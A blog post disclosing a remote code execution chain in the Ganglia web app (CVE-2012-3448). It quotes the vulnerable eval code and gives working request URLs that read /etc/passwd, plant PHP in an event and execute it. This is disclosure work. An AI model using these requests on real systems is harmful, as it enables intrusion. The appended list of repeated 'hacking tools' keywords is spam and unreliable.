Wednesday, August 26, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Continue reading


  1. World No 1 Hacker Software
  2. Github Hacking Tools
  3. Black Hat Hacker Tools
  4. Hack Tools For Pc
  5. Hacking Tools 2019
  6. Pentest Tools For Mac
  7. Hacking Tools Free Download
  8. Hacking Tools Github
  9. Hackers Toolbox
  10. How To Hack
  11. Pentest Tools For Android
  12. Pentest Tools Online
  13. Hacking Tools Name
  14. Pentest Box Tools Download
  15. Hacking App
  16. How To Make Hacking Tools
  17. Physical Pentest Tools
  18. Pentest Tools Apk
  19. Github Hacking Tools
  20. Hacking Tools Mac
  21. Hacking Tools Windows 10
  22. New Hack Tools
  23. Hacking App
  24. Pentest Tools For Android
  25. Hacker
  26. Hacker Tools
  27. Termux Hacking Tools 2019
  28. Hacking Tools Github
  29. Physical Pentest Tools
  30. Ethical Hacker Tools
  31. Hacker Hardware Tools
  32. Hacker Tools Software
  33. Pentest Tools Nmap
  34. Hacker Tools Free
  35. Pentest Tools Linux
  36. Pentest Tools For Windows
  37. Hacker Security Tools
  38. Hacking Apps
  39. World No 1 Hacker Software
  40. Pentest Tools List
  41. Pentest Tools Kali Linux
  42. Hacker Tools Online
  43. Pentest Tools Bluekeep
  44. Hacker Tools Linux
  45. Best Pentesting Tools 2018
  46. Hack Tools 2019
  47. Hack Tool Apk
  48. Hack Tools Mac
  49. Hacker Tools For Pc
  50. Nsa Hack Tools Download
  51. Hacking Tools For Windows
  52. Pentest Tools Find Subdomains
  53. Hack Tools For Mac
  54. Hack Tools Github
  55. Pentest Tools Find Subdomains
  56. Pentest Tools For Windows
  57. Growth Hacker Tools
  58. Pentest Tools
  59. Hack Tools For Mac
  60. Hackrf Tools
  61. Nsa Hack Tools
  62. Pentest Tools Download
  63. Pentest Tools Subdomain
  64. Growth Hacker Tools
  65. Hacking Tools Windows 10
  66. Hacker Tools 2019
  67. Pentest Tools Free
  68. Hack Tools 2019
  69. Hack Tools
  70. Game Hacking
  71. New Hacker Tools
  72. Hack Tools Mac
  73. Pentest Tools Kali Linux
  74. Best Hacking Tools 2020
  75. Hacking Tools For Windows
  76. Hacker Tools For Pc
  77. Termux Hacking Tools 2019
  78. Hacking App
  79. Hack Tools Online
  80. Pentest Tools Nmap
  81. Hacking Tools For Kali Linux
  82. Hacking Tools Usb
  83. Hacking Apps
  84. Hackers Toolbox
  85. Pentest Tools Github
  86. Hack Tools For Mac
  87. Pentest Tools List
  88. Hacking Tools Windows 10
  89. Pentest Tools Free
  90. Pentest Tools Bluekeep
  91. Hacks And Tools
  92. Hacking Tools For Windows 7
  93. Pentest Tools Website
  94. Computer Hacker
  95. Hacker Tools Hardware
  96. Hack Tools Download
  97. Wifi Hacker Tools For Windows
  98. Hack Tool Apk
  99. Hacking Tools For Windows
  100. Nsa Hacker Tools
  101. Hacker
  102. Hacks And Tools
  103. Pentest Tools Kali Linux
  104. Physical Pentest Tools
  105. Hacking Tools
  106. Hacker Tools Free Download
  107. Pentest Tools Alternative
  108. Hacks And Tools
  109. Pentest Tools Linux
  110. Hacker Tools Apk
  111. Install Pentest Tools Ubuntu
  112. Hack Tools Online
  113. Underground Hacker Sites
  114. Beginner Hacker Tools
  115. Hack Tools For Games
  116. Hack App
  117. Hacking Tools Pc
  118. Hack Tools Online
  119. Hacker Tools Github
  120. Hacking Tools For Windows 7
  121. What Are Hacking Tools
  122. Hacker Tool Kit
  123. Hack And Tools
  124. Underground Hacker Sites
  125. Hacking Tools Kit
  126. Hack Tools Pc
  127. Hack Apps
  128. Hacking Tools Windows 10
  129. Hacking Tools Mac
  130. Usb Pentest Tools
  131. Hacking Tools For Windows
  132. Hack App
  133. Black Hat Hacker Tools
  134. Hak5 Tools
  135. Hacking Tools For Pc
  136. Hack Tools Online
  137. Pentest Tools
  138. Hacking Tools Pc
  139. Top Pentest Tools
  140. What Are Hacking Tools
  141. Pentest Tools Website
  142. Tools 4 Hack
  143. Hacker Tools 2019
  144. Hacker Tools For Ios
  145. Hacker Tool Kit
  146. Hacking Tools For Kali Linux
  147. Hack Tools For Games
  148. Hacker Search Tools
  149. Hacking Tools 2020
  150. Github Hacking Tools
  151. Pentest Tools
  152. Best Pentesting Tools 2018
  153. Pentest Tools List
  154. Hack Tools Online
  155. Hacker Hardware Tools
  156. Best Pentesting Tools 2018
  157. Hack Rom Tools
  158. Pentest Tools For Android
  159. Pentest Tools Github
  160. Hackers Toolbox
  161. Pentest Tools For Ubuntu
  162. Pentest Tools For Ubuntu
  163. Hacker Tools Online
  164. Hacker Tools Apk Download
  165. What Is Hacking Tools
  166. Pentest Tools Free
  167. Hacker Tools For Pc
  168. Hackers Toolbox

No comments:

Post a Comment